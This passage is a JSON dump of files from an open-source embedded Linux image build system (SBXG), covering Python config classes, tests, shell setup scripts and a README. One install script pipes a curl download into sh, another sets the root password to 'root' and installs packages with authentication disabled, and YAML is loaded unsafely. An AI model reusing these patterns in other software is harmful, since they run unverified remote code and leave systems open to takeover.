os\nimport yaml\n\nfrom . import error as E\nfrom . import utils\n\n\nclass Model(object):\n def __getitem__(self, attr):\n return getattr(self, attr)\n\n @abc.abstractproperty\n def config_file(self):\n pass\n\n @abc.abstractproperty\n def namespace(self):\n pass\n\n def _yaml_load(self):\n \"\"\"\"\n Load the configuration from a file that is provided through the\n virtual property config_file().\n A dictionary will be returned from the parsed YAML configuration.\n \"\"\"\n with open(self.config_file(), 'r') as stream:\n config_contents = stream.read()\n return yaml.load(config_contents)\n\n def check_mandatory(self, element, obj=None):\n obj = self if obj is None else obj\n attr = getattr(obj, element)\n if not attr:\n raise E.MissingRequiredData(self.config_file(),\n self.namespace() + element)\n return attr\n\n def check_mandatory_file(self, element, obj=None):\n obj = self if obj is None else obj\n attr = self.check_mandatory(element, obj)\n if not os.path.isfile(attr):\n raise E.InvalidFileData(self.config_file(),\n self.namespace() + element,\n attr)\n\n def check_optional_list(self, element, obj=None):\n obj = self if obj is None else obj\n attr = getattr(obj, element)\n if attr and not isinstance(attr, list):\n raise E.NotAList(self.config_file(),\n self.namespace() + element)\n\n def _get_source(self, source, db, key, lib_dirs):\n name = self.get_mandatory(db, key)\n for lib_dir in lib_dirs:\n search = os.path.join(lib_dir, \"sources\", source, name + \".yml\")\n if os.path.isfile(search):\n return search\n raise E.InvalidFileData(self.config_file(),\n self.namespace() + key,\n name + \".yml\")\n\n def _get_config(self, config, db, key, lib_dirs):\n name = self.get_mandatory(db, key)\n config_path = os.path.join(\"configs\", config, name)\n for lib_dir in lib_dirs:\n search = os.path.join(lib_dir, config_path)\n if os.path.isfile(search):\n return search\n raise E.InvalidFileData(self.config_file(),\n self.namespace() + key,\n config_path)\n\n def get_mandatory(self, db, attribute):\n if attribute in db:\n return db[attribute]\n raise E.MissingRequiredData(self.config_file(),\n self.namespace() + attribute)\n\n def get_toolchain_source(self, db, key, lib_dirs):\n config_file = self._get_source(\"toolchain\", db, key, lib_dirs)\n toolchain = Toolchain(config_file)\n toolchain.load()\n return toolchain\n\n def get_kernel_source(self, db, key, lib_dirs, suffix=\"\"):\n config_file = self._get_source(\"kernel\", db, key, lib_dirs)\n kernel = Kernel(config_file, suffix)\n kernel.load()\n return kernel\n\n def get_uboot_source(self, db, key, lib_dirs):\n config = self._get_source(\"uboot\", db, key, lib_dirs)\n uboot = Uboot(config)\n uboot.load()\n return uboot\n\n def get_xen_source(self, db, key, lib_dirs):\n config = self._get_source(\"xen\", db, key, lib_dirs)\n xen = Xen(config)\n xen.load()\n return xen\n\n def get_kernel_config(self, db, key, lib_dirs):\n return self._get_config(\"kernel\", db, key, lib_dirs)\n\n def get_xen_config(self, db, key, lib_dirs):\n return self._get_config(\"xen\", db, key, lib_dirs)\n\n def get_uboot_config(self, db, key, lib_dirs):\n return self._get_config(\"uboot\", db, key, lib_dirs)\n\n def get_bootscript(self, db, key, lib_dirs):\n return self._get_config(\"bootscripts\", db, key, lib_dirs)\n\n def get_genimage_config(self, db, key, board_dir):\n name = self.get_mandatory(db, key)\n search = os.path.join(board_dir, \"images\", name)\n if os.path.isfile(search):\n return search\n raise E.InvalidFileData(self.config_file(),\n self.namespace() + key,\n search)\n\n def get_rootfs(self, db):\n attr = self.get_mandatory(db, \"rootfs\")\n return \"rootfs.ext3\" if attr == \"automatic\" else attr\n\n def get_boolean(self, db, key):\n attr = self.get_mandatory(db, key)\n if type(attr) is not bool:\n raise E.NotABoolean(self.config_file(),\n self.namespace() + key)\n return attr\n\n @abc.abstractmethod\n def load(self, lib_dirs, board_dir, **kwargs):\n \"\"\"\n Load a data model\n Returns: the parse configuration\n \"\"\"\n pass\n\nclass Board(Model):\n def config_file(self):\n return self._config_file\n\n def namespace(self):\n return self._namespace\n\n def __init__(self, config_file, toolchain):\n self._config_file = config_file\n self._namespace = \"::\"\n self.kernel_bootargs = \"\"\n self.toolchain = toolchain\n self.kernel = None\n self.kernel_config = None\n self.uboot = None\n self.uboot_config = None\n self.boot_script = None\n self.image = None\n self.linux_dtb = None\n self.linux_image = None\n self.linux_bootargs = \"\"\n self.uboot_image = None\n self.root = None\n self.templated_boot_script_name = \"boot.cmd\"\n self.output_boot_script_name = \"boot.scr\"\n self.xen = None\n self.xen_config = None\n self.arch = None\n self.xen_arch = None\n self.rootfs = None\n self.vm = False\n\n def _check_vm_parameters(self, db):\n no_vm = (\n \"uboot\", \"uboot_config\", \"boot_script\",\n \"kernel_bootargs\", \"linux_bootargs\",\n \"linux_dtb\", \"uboot_image\", \"root\", \"output_boot_script_name\",\n \"xen\", \"xen_arch\", \"xen_config\",\n )\n if self.vm:\n for attr in no_vm:\n if attr in db:\n raise E.InvalidVMParameters(attr)\n\n def load(self, lib_dirs, board_dir):\n config = self._yaml_load()\n\n if not \"board\" in config:\n raise E.MissingRequiredData(self.config_file(), self.namespace() + \"board\")\n\n # Open up the board \"namespace\"\n db = config[\"board\"]\n self._namespace += \"board::\"\n\n # Grab the architecture of the board\n self.arch = self.get_mandatory(db, \"arch\")\n\n # We can easily check if the provided toolchain is suitable to compile\n # for the board or not. If we use a local toolchain, we will determine\n # the current architecture and then compare it to the board's one.\n expected_arch = utils.get_arch() if self.toolchain.local else self.toolchain.arch\n if self.arch != expected_arch:\n raise E.InvalidToolchain(self.arch, expected_arch)\n\n if \"vm\" in db:\n self.vm = self.get_boolean(db, \"vm\")\n\n self.image = self.get_genimage_config(db, \"image\", board_dir)\n self.linux_image = self.get_mandatory(db, \"linux_image\")\n self.linux_bootargs = db.get(\"linux_bootargs\", \"\")\n self.kernel = self.get_kernel_source(db, \"kernel\", lib_dirs)\n self.kernel_config = self.get_kernel_config(db, \"kernel_config\", lib_dirs)\n self.kernel_bootargs = db.get(\"kernel_bootargs\", \"\")\n self.rootfs = self.get_rootfs(db)\n\n self._check_vm_parameters(db)\n\n # At this point, if we are parsing a VM board, don't go further as the\n # rest of this method parses VM-exclusive parameters.\n if self.vm:\n return config\n\n self.uboot = self.get_uboot_source(db, \"uboot\", lib_dirs)\n self.uboot_config = self.get_uboot_config(db, \"uboot_config\", lib_dirs)\n self.boot_script = os.path.basename(self.get_bootscript(db, \"boot_script\", lib_dirs))\n self.linux_dtb = self.get_mandatory(db, \"linux_dtb\")\n self.uboot_image = self.get_mandatory(db, \"uboot_image\")\n self.root = self.get_mandatory(db, \"root\")\n if \"output_boot_script_name\" in db:\n self.output_boot_script_name = db[\"output_boot_script_name\"]\n if \"xen\" in db:\n self.xen = self.get_xen_source(db, \"xen\", lib_dirs)\n self.xen_arch = self.get_mandatory(db, \"xen_arch\")\n self.xen_config = self.get_xen_config(db, \"xen_config\", lib_dirs)\n return config\n\n\nclass Source(Model):\n def config_file(self):\n return self._config_file\n\n def namespace(self):\n # Sources have their configuration in the 'global namespace'. It means\n # the properties reside at the top level of the dictionary, there is no\n # nesting.\n return \"::\"\n\n def __init__(self, in_file, must_fetch=True):\n self._config_file = in_file\n self._subconfig = None\n self._must_fetch = must_fetch\n self.path = None\n self.url = None\n self.compression = None\n self.pgp_signature = None\n self.pgp_pubkey = None\n self.sha256 = None\n self.suffix = \"\"\n self.build_dir = None\n self.toolchain = None\n\n def set_toolchain(self, toolchain):\n self.toolchain = toolchain\n\n def load(self):\n config = self._yaml_load()\n if self._must_fetch:\n self.url = self.get_mandatory(config, \"url\")\n self.path = os.path.abspath(\n self.get_mandatory(config, \"path\")\n )\n self.sha256 = config.get(\"sha256\")\n self.compressions = config.get(\"compressions\")\n self.pgp_signature = config.get(\"pgp_signature\")\n self.pgp_pubkey = config.get(\"pgp_pubkey\")\n\n self.build_dir = os.path.join(\n os.path.dirname(self.path),\n \"build_\" + os.path.basename(self.path) + self.suffix\n )\n\n self.check_optional_list(\"compression\")\n if self.pgp_signature:\n self.check_mandatory(\"pgp_pubkey\")\n if self.pgp_pubkey:\n self.check_mandatory(\"pgp_signature\")\n return config\n\nclass Xen(Source):\n pass\n\nclass Kernel(Source):\n \"\"\"\n The Kernel class handle kernel sources configuration. Regarding the\n other sources, kernel sources require additional parameters, suchs as the\n type of the kernel, which is deduced from the name of its source\n configuration file, as well as its suffix, that is used to produce guests.\n \"\"\"\n def __init__(self, in_file, suffix=\"\"):\n super().__init__(in_file)\n self.type = None\n self.suffix = suffix\n self.arch = None\n\n def set_arch(self, arch):\n self.arch = arch\n\n def _known_types(self):\n \"\"\"\n We only support Linux as kernel for now. Others may flawlessly work\n fine, but they have not be tested.\n \"\"\"\n return ['linux']\n\n def load(self):\n super().load()\n config_name = os.path.basename(self._config_file)\n self.type = config_name.split('-')[0]\n\n if self.type not in self._known_types():\n raise E.InvalidKernelType(self._config_file,\n self.type,\n self._known_types())\n\nclass Uboot(Source):\n pass\n\nclass Toolchain(Source):\n def __init__(self, config_file, local=False):\n must_fetch = False if local else True\n super().__init__(config_file, must_fetch)\n self.prefix = None\n self.local = local\n self.arch = None\n self.xen_arch = None\n\n def load(self):\n config = super().load()\n self.prefix = self.get_mandatory(config, \"prefix\")\n if not self.local:\n self.arch = self.get_mandatory(config, \"arch\")\n self.xen_arch = self.get_mandatory(config, \"xen_arch\")\n # Auto-detect the HOST (in the autotools terminology) The host is the\n # cross-compilation target. It shall not end with a dash (that is\n # brought by the prefix\n self.host = os.path.basename(self.prefix)\n if self.host.endswith('-'):\n self.host = self.host[:-1]\n return config\n\nclass Database(collections.MutableMapping):\n \"\"\"\n The Database class holds the SBXG configuration. It is an aggregation of\n data models and can be accessed in the same fashion than a dictionary.\n This allows this class to be passed directly to the jinja templating engine\n flawlessly.\n \"\"\"\n def __init__(self, top_source_dir, top_build_dir):\n self.top_source_dir = top_source_dir\n self.top_build_dir = top_build_dir\n self.board = None\n self.genimage = None\n self.kernel = None\n self.uboot = None\n self.toolchain = None\n\n def use_genimage(self):\n self.genimage = {\n 'path': os.path.join(self.top_build_dir, 'genimage_sources'),\n 'build_dir': os.path.join(self.top_build_dir, 'build_genimage'),\n 'output_path': os.path.join(self.top_build_dir, 'images'),\n 'input_path': os.path.join(self.top_build_dir, 'genimage-input'),\n 'root_path': os.path.join(self.top_build_dir, '.genimage-root'),\n 'tmp_path': os.path.join(self.top_build_dir, '.genimage-tmp'),\n 'config': os.path.join(self.top_build_dir, 'genimage.cfg'),\n }\n\n def set_kernel(self, kernel, kernel_config):\n self.kernel = kernel\n self.kernel.config = kernel_config\n if self.toolchain.local:\n self.kernel.set_arch(utils.get_arch())\n else:\n self.kernel.toolchain = self.toolchain\n self.kernel.set_arch(self.toolchain.arch)\n\n\n def set_uboot(self, uboot, uboot_config):\n self.uboot = uboot\n self.uboot.config = uboot_config\n if not self.toolchain.local:\n self.uboot.toolchain = self.toolchain\n\n def set_toolchain(self, toolchain):\n self.toolchain = toolchain\n\n def set_xen(self, xen, xen_config):\n self.xen = xen\n self.xen.config = xen_config\n self.xen.host = os.path.basename(self.toolchain.prefix)\n if not self.toolchain.local:\n self.xen.toolchain = self.toolchain\n\n def set_board(self, board):\n self.board = board\n self.set_toolchain(board.toolchain)\n self.use_genimage()\n self.set_kernel(board.kernel, board.kernel_config)\n if not board.vm:\n self.set_uboot(board.uboot, board.uboot_config)\n if board.xen:\n self.set_xen(board.xen, board.xen_config)\n\n def __getitem__(self, attr):\n return getattr(self, attr)\n\n def __setitem__(self, key, value):\n pass # Immutable, do nothing\n def __delitem__(self, key):\n pass # Immutable, do nothing\n\n def __len__(self):\n return len(vars(self))\n\n def __iter__(self):\n for item in vars(self).keys():\n yield item\n\n"
},
{
"alpha_fraction": 0.6608911156654358,
"alphanum_fraction": 0.6658415794372559,
"avg_line_length": 15.15999984741211,
"blob_id": "92ea73bd532cf655ad0548a879b088c38f0f6920",
"content_id": "a98de2782c025f31c0ae5f8edeb57f6cf34758f2",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 404,
"license_type": "permissive",
"max_line_length": 51,
"num_lines": 25,
"path": "/utils/install_gentoo_packages.sh",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "#! /usr/bin/env sh\n\nset -e\nset -u\n\nTHIS_DIR=\"$(dirname \"$0\")\"\n\nset -x\n\n# Installing the Ebuilds\nsudo emerge --ask \\\n dev-vcs/git \\\n sys-devel/autoconf \\\n sys-devel/automake \\\n dev-libs/confuse\n\n\n# Installing the python packages\npip3 install --user -r \"$THIS_DIR/requirements.txt\"\n\n# Installing rust (not packaged)\ncurl https://sh.rustup.rs -sSf | sh\n\n# Cargo setup\n\"$THIS_DIR\"/cargo_setup.sh\n"
},
{
"alpha_fraction": 0.7036462426185608,
"alphanum_fraction": 0.7075251936912537,
"avg_line_length": 32.894737243652344,
"blob_id": "21c62ea684d2ca87823b1e404482ba8d525449a2",
"content_id": "b6471e3dfcee3e1438b58b397bcab9bdce40bd63",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "reStructuredText",
"length_bytes": 1289,
"license_type": "permissive",
"max_line_length": 82,
"num_lines": 38,
"path": "/doc/startup.rst",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "Starting Up with SBXG\n=====================\n\nSBXG will retrieve and build bootloaders and kernels (e.g. U-Boot, Linux, Xen),\nbut does not create nor configure a root file system! This task is up to you,\nor dedicated tools that you chose to use. However, SBXG proposes a \"toy\" script\nthat creates a minimal Debian root file system from scratch so you can use SBXG,\neven when you don't have a root file system.\n\nSBXG proposes various built-in configurations. In function whether these offer\nsupport for Xen or not, different root file systems may be needed. This\ndocument proposes the command-line sequences to be paired with the default\noptions proposed by SBXG. They all assume a POSIX shell is being used (e.g.\nbash), and are initiated from the top source directory of SBXG.\n\n.. image:: img/blocks.png\n\nCubietruck Default\n-------------------\n\n.. code::\n\n mkdir build && cd build\n ../scripts/create-debootstrap.sh\n ../bootstrap.py --board cubietruck --toolchain armv7-eabihf\n make\n\n\nCubietruck with Xen (1 guest)\n-----------------------------\n\n.. code::\n\n mkdir build && cd build\n sudo ../scripts/create-debootstrap.sh -x\n sudo ../scripts/create-debootstrap.sh -o guest0_rootfs.ext3\n ../bootstrap.py --board cubietruck --board-variant xen --toolchain armv7-eabihf\n make\n\n"
},
{
"alpha_fraction": 0.6793075203895569,
"alphanum_fraction": 0.6834295392036438,
"avg_line_length": 35.75757598876953,
"blob_id": "326414c5d6fda1b05a3a5d246504acf6cca12853",
"content_id": "1d87fd892cf93f0bd78fed049bf8583f2c3fb02a",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2426,
"license_type": "permissive",
"max_line_length": 79,
"num_lines": 66,
"path": "/tests/conftest.py",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "# Copyright (c) 2017 Jean Guyomarc'h\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport os\nimport subprocess\nimport sys\nimport tempfile\n\nimport pytest\n\nTOP_SRC_DIR = os.path.dirname(os.path.dirname(os.path.realpath(__file__)))\n\nclass TestEnv(object):\n def __init__(self):\n self._build_dir_handle = tempfile.TemporaryDirectory()\n self.build_dir = self._build_dir_handle.name\n self.rootfs = os.path.join(self.build_dir, \"rootfs.ext3\")\n\n def bootstrap_board(self, board, toolchain, variant=\"board\"):\n subprocess.check_call([\n sys.executable,\n os.path.join(TOP_SRC_DIR, \"bootstrap.py\"),\n \"--board\", board,\n \"--board-variant\", variant,\n \"--toolchain\", toolchain\n ], cwd=self.build_dir)\n\n def run_make(self, *args):\n \"\"\"Execute the make command within the build directory, with optional\n arguments to be passed to make\n \"\"\"\n cmd = [\"make\"]\n if args:\n cmd.extend(args)\n subprocess.check_call(cmd, cwd=self.build_dir)\n\n\[email protected]\ndef env():\n testenv = TestEnv()\n\n # Create a dummy ext3 rootfs of 1MB, just for testing purposes\n subprocess.check_call([\n \"dd\", \"if=/dev/zero\", \"of={}\".format(testenv.rootfs),\n \"bs=1M\", \"count=1\"])\n subprocess.check_call([\"sync\"])\n subprocess.check_call([\"mkfs.ext3\", \"-F\", testenv.rootfs])\n\n return testenv\n"
},
{
"alpha_fraction": 0.6991929411888123,
"alphanum_fraction": 0.704328715801239,
"avg_line_length": 31.843374252319336,
"blob_id": "f8a6d0e71fbd40247acd2fbd758428e1144e7466",
"content_id": "f012fba24f94e4a5c956de7da1c92767aae06517",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 2726,
"license_type": "permissive",
"max_line_length": 84,
"num_lines": 83,
"path": "/scripts/create-debootstrap.sh",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "#! /usr/bin/env bash\n#\n# Copyright (c) 2017 Jean Guyomarc'h\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nset -e\nset -u\n\nHERE=$(dirname \"$0\")\nXEN_SUPPORT=no\nOUTPUT_FILE=\"rootfs.ext3\"\nROOTFS_SIZE=512\nHOOK=\n\nwhile getopts \"xo:s:h:\" opt; do\n case $opt in\n x)\n XEN_SUPPORT=yes\n ;;\n o)\n OUTPUT_FILE=\"$OPTARG\"\n ;;\n s)\n ROOTFS_SIZE=\"$OPTARG\"\n ;;\n h)\n HOOK=\"$OPTARG\"\n ;;\n esac\ndone\n\n# Remove the extension from the output file, so we can deduce a directory that\n# will be used to debootstrap into\noutput_dir=\"${OUTPUT_FILE%.*}\"\nif [ \"x$output_dir\" = \"x$OUTPUT_FILE\" ]; then\n echo \"*** The argument passed to -o shall have an extension (e.g. .ext3)\" 1>&2\n exit 1\nfi\n\nset -x\n\n# Debootstrap: we do a two-stages foreign debootstrap, with qemu-arm-static to\n# post-configure the debootstrap\ndebootstrap --foreign --arch armhf stable \"$output_dir\" http://ftp.debian.org/debian\ncp $(which qemu-arm-static) \"$output_dir/usr/bin\"\nchroot \"$output_dir\" /debootstrap/debootstrap --second-stage\nchroot \"$output_dir\" dpkg --configure -a\n\n# \"root\" will have a password \"root\", so we can easily log in the first time!\necho \"root:root\" | chroot \"$output_dir\" chpasswd\n\n# If the rootfs requires Xen, install the xen tools.\nif [ \"x$XEN_SUPPORT\" = \"xyes\" ]; then\n chroot \"$output_dir\" apt install -y --allow-unauthenticated xen-tools\nfi\n\n# Execute a custom configuration hook\nif test -n \"$HOOK\"; then\n \"$HOOK\" \"$output_dir\"\nfi\n\n# Remove the native qemu-arm-static to leave a clean rootfs\nrm \"$output_dir/usr/bin/qemu-arm-static\"\n\n# Now, create an ext3 filesystem with the debootstrap\n\"$HERE/gen-rootfs.py\" --ok \"$output_dir\" \"$OUTPUT_FILE\" \"$ROOTFS_SIZE\"\n"
},
{
"alpha_fraction": 0.6554426550865173,
"alphanum_fraction": 0.6566037535667419,
"avg_line_length": 31.809524536132812,
"blob_id": "8a346eb3c0804453818223bb68493560a2bb9c7e",
"content_id": "0f959efa1cffeacb468d9752468b2f965ec06908",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3445,
"license_type": "permissive",
"max_line_length": 88,
"num_lines": 105,
"path": "/sbxg/error.py",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "# Copyright (c) 2017 Jean Guyomarc'h\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport abc\n\nclass SbxgError(Exception):\n \"\"\"\n Super class, used by exception handlers to filter-out SBXG-related\n exceptions.\n \"\"\"\n pass\n\nclass InvalidToolchain(SbxgError):\n def __init__(self, expected_arch, toolchain_arch):\n self.expected_arch = expected_arch\n self.toolchain_arch = toolchain_arch\n\n def __str__(self):\n return \"Invalid toolchain architecture '{}'. '{}' was expected\".format(\n self.toolchain_arch, self.expected_arch\n )\n\nclass MissingRequiredData(SbxgError):\n def __init__(self, in_file, prop):\n self.in_file = in_file\n self.property = prop \n\n def __str__(self):\n return \"Missing mandatory property '{}' in '{}'\".format(\n self.property, self.in_file\n )\n\nclass InvalidFileData(SbxgError):\n def __init__(self, in_file, prop, target):\n self.in_file = in_file\n self.property = prop\n self.target = target\n\n def __str__(self):\n return \"Cannot find file '{}' requested by property '{}' from file '{}'\".format(\n self.target, self.property, self.in_file\n )\n\n\nclass InvalidKernelType(SbxgError):\n def __init__(self, config_file, found_type, expected_types):\n self.config_file = config_file\n self.found_type = found_type\n self.expected_types = expected_types\n\n def __str__(self):\n return \"Kernel type '{}' deduced from file '{}' is not one of '{}'\".format(\n self.found_type, self.config_file, ' '.join(self.expected_types)\n )\n\nclass InvalidVMParameters(SbxgError):\n def __init__(self, param):\n self._param = param\n\n def __str__(self):\n return \"Parameter '{}' is forbidden when 'vm' is set to 'true'\".format(\n self._param)\n\nclass SbxgTypeError(SbxgError):\n @abc.abstractproperty\n def typename(self):\n pass\n\n def __init__(self, in_file, prop):\n self.in_file = in_file\n self.property = prop\n\n def __str__(self):\n return \"Property '{}' in file '{}' is expected to be a list\".format(\n self.property, self.in_file\n )\n\nclass NotAList(SbxgTypeError):\n def typename(self):\n return \"list\"\n\nclass NotAString(SbxgTypeError):\n def typename(self):\n return \"string\"\n\nclass NotABoolean(SbxgTypeError):\n def typename(self):\n return \"boolean\"\n"
},
{
"alpha_fraction": 0.7462083101272583,
"alphanum_fraction": 0.7524435520172119,
"avg_line_length": 35.182926177978516,
"blob_id": "01765e20fdc067b4db408abb48bbaaede0400e60",
"content_id": "e22f79f60d936b2e05e93543c3de6e04afa54a7e",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 5934,
"license_type": "permissive",
"max_line_length": 80,
"num_lines": 164,
"path": "/README.md",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "# SBXG\n\nSBXG is a specialized build system generator that allows the generation of\nbootable images for embedded devices, or the compliation of individual\ncomponents of those images. The images generation is highly customizable, annd\nis mainly composed of:\n- a bootloader: [U-Boot][1],\n- a kernel: [Linux][2], [Xen][13],\n- and a foreign root file system.\n\n## Model\n\nAll the components (but the foreign root file system) are built from source,\nusing versioned configuration files (i.e. Linux/U-Boot/Xen/Busybox Kconfig\nproducts). This allows SBXG users to rely on the sources and their own (or\npre-packaged) configurations, instead of a black box downloaded from untrusted\nsources.\n\nSBXG provides default configurations for some boards, toolchains, kernels and\nu-boot, to demonstrate its capabilities, but one of its goal is to be able to\nuse opaque (private) user configurations, that may not be included in the open\nsource version of SBXG.\n\n\n## Supported Components\n\nThe following list shows the built-in components shipped with SBXG, to\ndemonstrate its capabilities. It is trivial to add more.\n\n- Embedded Boards:\n - [Cubietruck][3]\n - [Orange Pi Zero][6]\n- Kernels:\n - [Linux][2]\n - [Xen][13]\n- Bootloaders:\n - [U-Boot][1]\n- Initramfs:\n - [Busybox][11]\n- Toolchains:\n - [Arm-v7 eabihf][12]\n\n\nTo see more of the supported components, run the `bootstrap.py` script with the\n`--show-library` option. This will display the exact list of the supported\nboards, sources and configurations. You can add the `--no-color` if you find the\noutput too flashy or if you want to manipulate the output by another program:\n\n```bash\n./bootstrap.py --show-library\n./bootstrap.py --show-library --no-color\n```\n\n\n## Pre-requisites\n\nSBXG relies on third-party tools to fulfill its duty:\n- `git`, to retrieve [genimage][4]'s sources,\n- `python` (at least 3.4),\n- the python packages `jinja` and `pyaml`,\n- `make`,\n- `mkfs` (ext3, vfat),\n- `build-essential` tools (to compile the kernel and u-boot),\n- autotools programs (such as autoreconf, autoconf, ...) needed to compile\n genimage.\n- [subcomponent][5], which is a rust tool to download the components. It is\n a packaged cargo crate, and therefore can be installed from cargo\n (`cargo install subcomponent`).\n\nTo make installation of these dependencies easier, scripts are made available\nin the `utils/` directory. Select the one that matches your distribution, and\nrun it as a normal user (no sudo). Python and rust packages will be locally\ninstalled, while packages will ask for the admin password.\n\n\n```bash\n./utils/install_debian_packages.sh # For Debian/Ubuntu/...\n./utils/install_gentoo_packages.sh # For Gentoo\n```\n\nYou may be asked to run by yourself additional commands, that cannot be safely\nexecuted by these scripts, such as changing your environment variables.\n\n\n## Usage\n\nYou first must **bootstrap** SBXG as we generate its build system. First,\ncreate a build directory, somewhere on your filesystem, where you will have RWX\naccess. SBXG enforces that the source directory (the downloaded sources) must\nbe kept clean. Hence, you cannot generate files directly from the source\ndirectory. You can, however, create a specific directory (i.e. `build/`) in the\nsources, from which you can bootstrap SBXG:\n\n```bash\nmkdir -p build && cd build\n```\n\nIf you don't have a rootfs ready to be flashed, and if you happen to have the\n`debootstrap` command available on your system, SBXG provides a small script\nthat will create a minimal Debian stable rootfs just for you. From the build\ndirectory you just created, run:\n\n```bash\nsudo ../scripts/create-debootstrap.sh\n```\n\nThis will take some time (and requires privileges), as debootstrap takes some\ntime to retrieve and configure the minimal Debian rootfs. Note that you will\nneed to have `qemu-system` and `qemu-user-static` installed.\n\n\nOnce you are done, you can bootstrap SBXG by calling `bootstrap.py`:\n\n```bash\n../bootstrap.py --board cubietruck\n```\n\nIn the example above, the system has been bootstrapped for the [Cubietruck][3]\nboard. `bootstrap.py` provides a lot of options that are available by calling\nthe script with the `--help` option.\n\nOnce the bootstrapping is complete, you will see a lot of new files in your\nbuild directory. You should not directly manipulate them, but nothing prevents\nyou from doing it. Be aware that running `bootstrap.py` again will re-write the\nfiles, and modifications will be lost! You also should refrain yourself from\nmodifying the downloaded sources (especially the sources of genimage, which\ncome from a git repository), as `subcomponent` will complain if the sources\nare not what it expects.\n\nYou can run `make help` to see the available targets. When you are ready, just\nrun `make` or `make all` to generate your image. You may want to use the `-j`\noption to parallelize the build, but since three components will be built\nin parallel, expect your stdout to be messed up.\n\nYou will find your final image in `images/`. You are then free to flash it\nwith things like `dd`.\n\n## Documentation\n\nMore documentation is available in the `doc/` directory. It can be nicely\ngenerated by [sphinx][7]. If you have `sphinx` installed, you can build the\ndocumentation by running `make -C doc html`. The html documentation will be\navailable in `doc/build/html/`.\n\n## Contributors\n\nPlease refer to the `AUTHORS` file for an exhaustive list of the contributors.\n\n## License\n\nSBXG is licensed under the **MIT** license. For details, please refer to the\n`LICENSE` file.\n\n[1]: https://www.denx.de/wiki/U-Boot\n[2]: https://www.kernel.org/\n[3]: https://linux-sunxi.org/Cubietruck\n[4]: https://git.pengutronix.de/cgit/genimage\n[5]: https://github.com/subcomponent/subcomponent\n[6]: http://www.orangepi.org/orangepizero/\n[7]: http://www.sphinx-doc.org/en/stable/\n[10]: https://www.denx.de/wiki/U-Boot/WebHome\n[11]: https://busybox.net/\n[12]: http://toolchains.free-electrons.com/\n[13]: https://www.xenproject.org/\n"
},
{
"alpha_fraction": 0.710988461971283,
"alphanum_fraction": 0.7155042886734009,
"avg_line_length": 38.07843017578125,
"blob_id": "7eafdca7a6374509c493122b0db4c55d672ad1b0",
"content_id": "dd1ad5a7ab093bbefcd56ce7aaf9297871c1860f",
"detected_licenses": [
"MIT"
],
"is_generated": false,
